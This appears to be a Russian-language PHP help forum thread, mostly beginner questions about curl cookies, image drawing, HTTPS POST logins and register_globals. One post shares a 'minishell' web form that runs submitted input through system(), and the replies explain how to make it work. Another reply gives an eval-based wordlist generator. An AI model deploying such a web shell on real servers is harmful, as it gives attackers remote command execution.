как получить куки через курл ? Например, я проголосовал,мне дали куку...воот длячего мне нужно зы, все разобрался ,сорь
1. Рисуем квадрат с точкой PHP: <? header('Content-type: image/png'); $img = imagecreate(100, 100); $white = imagecolorallocate($img, 255, 255, 255); $black = imagecolorallocate($img, 0,0,0); imagecolortransparent($img, $white); imagesetpixel($img, 50, 50, $black); imagepng($img); ?>
примерно так: PHP: <?php $source = Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"); //массив букв, можно любой алфавит $num = 5; //количество букв в слове for($i=0; $i<$num; $i++) { echo $source[rand(0),(count($source)-1)]; //вывод случайной буквы из массива } ?>
https:// на PHP в ответах Гугла надыбал исходник. PHP: <?php error_reporting(E_ALL); # working vars //https://global.bigmir.net/auth $host = 'global.bigmir.net'; $service_uri = '/auth'; $local_cert_path = './keys.pem'; $local_cert_passphrase = 'pass_to_access_keys'; $request_data = 'url=http://passport.bigmir.net/&rnd=&pid=2&login=user&pass=pass&auth_type=1&subm=1'; # array with the options to create stream context $opts = Array(); # compose HTTP request header $header = "Host: $host\\r\\n"; $header .= "User-Agent: PHP Script\\r\\n"; $header .= "Content-Type: text/xml\\r\\n"; $header .= "Content-Length: ".strlen($request_data)."\\r\\n"; $header .= "Connection: close"; # define context options for HTTP request (use 'http' index, NOT 'httpS') $opts['http']['method'] = 'POST'; $opts['http']['header'] = $header; $opts['http']['content'] = $request_data; # define context options for SSL transport $opts['ssl']['local_cert'] = $local_cert_path; $opts['ssl']['passphrase'] = $local_cert_passphrase; echo "<HR><PRE>"; print_r($opts); echo "</PRE><HR>"; # create stream context $context = stream_context_create($opts); # POST request and get response $filename = 'https://'.$host.$service_uri; $content = file($filename, false, $context); $response_data = implode('', $content); echo "<PRE>$content</PRE>"; //echo "<PRE>$response_data</PRE>"; echo "<HR>"; ?> по идее должна быть выведена страница БМ о том что пароль неправильный, а выводится мегамассив и потом пусто <HR><PRE></PRE><HR> другой хостинг вообще сообщал что file() должен иметь до 2 параметров, а я, видите ли, 3 втыкнул...
vvs777, Поддержка контекста для file была добавлена в PHP 5.0.0. И чем вам курл не нравится? inlanger у вас генерируются не все возможные слова, а случайная последовательность из 5 букв (т.е. при прочих равных есть шанс сгенерировать множество повторов). Для генерации словарей просто нужно использовать вложенные циклы: PHP: <? // Функция для генерации // $FROM, $TO - Начальное / Конечное количество символов // $todo - Что делать со словом // $alfa - Алфавит для генераци, нулевой элемент ДОЛЖЕН быть пустой строкой, иначе заменяется на нее function gen($FROM, $TO , $todo, $alfa=array("","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z")) { $alfa=array_values($alfa); $alfa[0]=""; $count=count($alfa); $eval=''; $eval2=array(); $slovo=''; for ($n=1;$n<=$TO;$n++) { $eval .='for ($'.chr(96+$n).'='.(($n-$TO+$FROM>=1) ? '1' : '0').';$'.chr(96+$n).'<'.$count.';$'.chr(96+$n).'++) {'."\r\n"; $eval2[]='$alfa[$'.chr(96+$n).']'; } if (eval($eval.'$slovo = '.implode('.',$eval2).'; '.$todo.str_repeat('}',$TO))) return true; else return false; } define(FROM,2); // Начальное количество букв define(TO,3); // Конечное количество букв // Что делать с текущим словом, которое хранится в переменной $slovo // Например запишем в файл $todo='fwrite($f,$slovo."\r\n");'; $f=fopen('slovar.txt','w'); gen(FROM,TO,$todo); fclose($f); ?>
У меня есть код так вот будет ли он работать? если нет то подправьте что не так и опишите что вы подправили и зачем Code: <html> <body> <form action="" method=POST> <input type=text name=cmd size=35> <input type=submit name="msg_submit" value="execute"> </form> <? system(cmd); ?> </body> </html> Код типа минишелла
diznt, на сервере должен быть отключен safe mode Code: system(cmd); В зависимости от register_globals, возможно, придется переделать в Code: system($_POST['cmd']);
diznt скорее НЕ будет, потому что рег.глобалс по умолчанию выключен, и на многих хостингах system находится в disable_functions
Изучаю PHP, возникла следующая проблема. Первая страница. Code: <form action = "http://test/test.php" method="get"> HDD: <input type="text" name="HDD"/><br> CDROM: <input type="text" name="CDROM"/><br> <input type="submit"/> Соответственно имеем два поля ввода и при нажатии на кнопку отправить переходим на test.php Code: http://test/test.php?HDD=a&CDROM=c Если я правильно понимаю суть, то должны создаваться переменные $HDD и $CDROM с значениями, введенными на первой странице. При попытке вывода в test.php PHP: <? echo ("<p>$HDD</p>"); echo ("<p>$CDROM</p>"); ?> не выводится ничего. В чем ошибка?
Парни, мне вот нужно пхп внедрять в хмль, все советуют прогу DW но она у меня не устанавливается, хз по какой причине(вроде она запустилась но как только окно программы появляется оно тут же закрывается и пишет что этой программой нелья пользоваться!) вот, мб есть и другие программы не хуже этого Dreamweaver?
Jino есть такая директива как register_globals, так вот, когда она включена, то переменные ведут себя так как ты написал, т.е. регистрируются в начале, это не безопасно и дефолту везде выключено. Нужно обращаться через суперглобальные массивы. PHP: echo $_GET['HDD'];//get echo $_POST['HDD1'];//post
Спасибо. Еще два вопроса: Почему не безопасно когда включена директива register_globals? Как я понял изначально переменные не регистрируются, а регистрируются при $_GET['название переменной']. Верно? А вот еще один вопрос назрел PHP: echo ("$_GET['HDD'] <br>"); Естественно это неправильно) Как сделать перенос строки?